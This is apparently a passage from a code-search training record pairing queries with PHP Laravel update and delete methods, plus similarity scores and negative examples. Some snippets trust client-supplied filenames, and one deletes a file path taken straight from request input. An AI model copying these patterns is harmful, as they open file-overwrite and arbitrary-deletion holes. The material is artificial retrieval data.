\r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function 